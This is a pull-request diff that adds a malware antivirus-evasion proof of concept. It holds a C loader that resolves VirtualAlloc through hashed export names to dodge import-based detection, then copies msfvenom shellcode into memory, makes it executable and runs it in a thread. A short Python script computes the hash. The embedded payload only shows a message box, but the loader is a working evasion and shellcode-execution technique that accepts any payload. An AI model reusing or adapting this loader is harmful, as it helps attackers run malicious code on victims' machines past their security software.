Merge pull request #6 from cocomelonc/main

add WINAPI hashing evasion PoC

Evasion/WinAPI Hashing/VirtualAlloc_Example.c

@@ -0,0 +1,106 @@
+/*
+ * malware AV evasion
+ * VirtualAlloc - hashing WINAPI functions.
+ * author: @cocomelonc
+ * via https://cocomelonc.github.io/tutorial/2022/03/22/simple-av-evasion-5.html
+*/
+#include <windows.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+typedef LPVOID (WINAPI * fnVirtualAlloc)(
+  LPVOID lpAddress,
+  SIZE_T dwSize,
+  DWORD  flAllocationType,
+  DWORD  flProtect
+);
+
+DWORD calcMyHash(char* data) {
+  DWORD hash = 0x35;
+  for (int i = 0; i < strlen(data); i++) {
+    hash += data[i] + (hash << 1);
+  }
+  return hash;
+}
+
+static LPVOID getAPIAddr(HMODULE h, DWORD myHash) {
+  PIMAGE_DOS_HEADER img_dos_header = (PIMAGE_DOS_HEADER)h;
+  PIMAGE_NT_HEADERS img_nt_header = (PIMAGE_NT_HEADERS)((LPBYTE)h + img_dos_header->e_lfanew);
+  PIMAGE_EXPORT_DIRECTORY img_edt = (PIMAGE_EXPORT_DIRECTORY)(
+    (LPBYTE)h + img_nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
+  PDWORD fAddr = (PDWORD)((LPBYTE)h + img_edt->AddressOfFunctions);
+  PDWORD fNames = (PDWORD)((LPBYTE)h + img_edt->AddressOfNames);
+  PWORD  fOrd = (PWORD)((LPBYTE)h + img_edt->AddressOfNameOrdinals);
+
+  for (DWORD i = 0; i < img_edt->AddressOfFunctions; i++) {
+    LPSTR pFuncName = (LPSTR)((LPBYTE)h + fNames[i]);
+
+    if (calcMyHash(pFuncName) == myHash) {
+      printf("successfully found! %s - %d\n", pFuncName, myHash);
+      return (LPVOID)((LPBYTE)h + fAddr[fOrd[i]]);
+    }
+  }
+  return nullptr;
+}
+
+// just an example, simple shellcode running logic
+// using msfvenom for windows/x64/messagebox with text and title, excluding certain characters
+unsigned char my_payload[] =
+  "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
+  "\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
+  "\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
+  "\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
+  "\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
+  "\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
+  "\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
+  "\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
+  "\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
+  "\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
+  "\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00"
+  "\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F"
+  "\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
+  "\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
+  "\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
+  "\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
+  "\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
+  "\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
+  "\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
+  "\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
+  "\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
+  "\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
+  "\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
+  "\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
+  "\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
+  "\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
+  "\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
+  "\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
+  "\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";
+
+int main() {
+  void * mem; // buffer for storing the payload
+  BOOL operation_status;
+  HANDLE th;
+  DWORD old_protect = 0;
+
+  HMODULE mod = LoadLibrary("kernel32.dll");
+  LPVOID addr = getAPIAddr(mod, 52968519);
+  printf("0x%p\n", addr);
+  fnVirtualAlloc myVirtualAlloc = (fnVirtualAlloc)addr;
+
+  // reserve and commit memory for the payload
+  mem = myVirtualAlloc(0, sizeof(my_payload), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
+
+  // transfer the payload to the allocated buffer
+  RtlMoveMemory(mem, my_payload, sizeof(my_payload));
+
+  // mark the new buffer as executable
+  operation_status = VirtualProtect(mem, sizeof(my_payload), PAGE_EXECUTE_READ, &old_protect);
+  if ( operation_status != 0 ) {
+    // execute the payload
+    th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) mem, 0, 0, 0);
+    WaitForSingleObject(th, -1);
+  }
+
+  return 0;
+}

Evasion/WinAPI Hashing/myhash.py

@@ -0,0 +1,9 @@
+# simple stupid hashing example
+def myHash(data):
+    hash = 0x35
+    for i in range(0, len(data)):
+        hash += ord(data[i]) + (hash << 1)
+    print (hash)
+    return hash
+
+myHash("VirtualAlloc")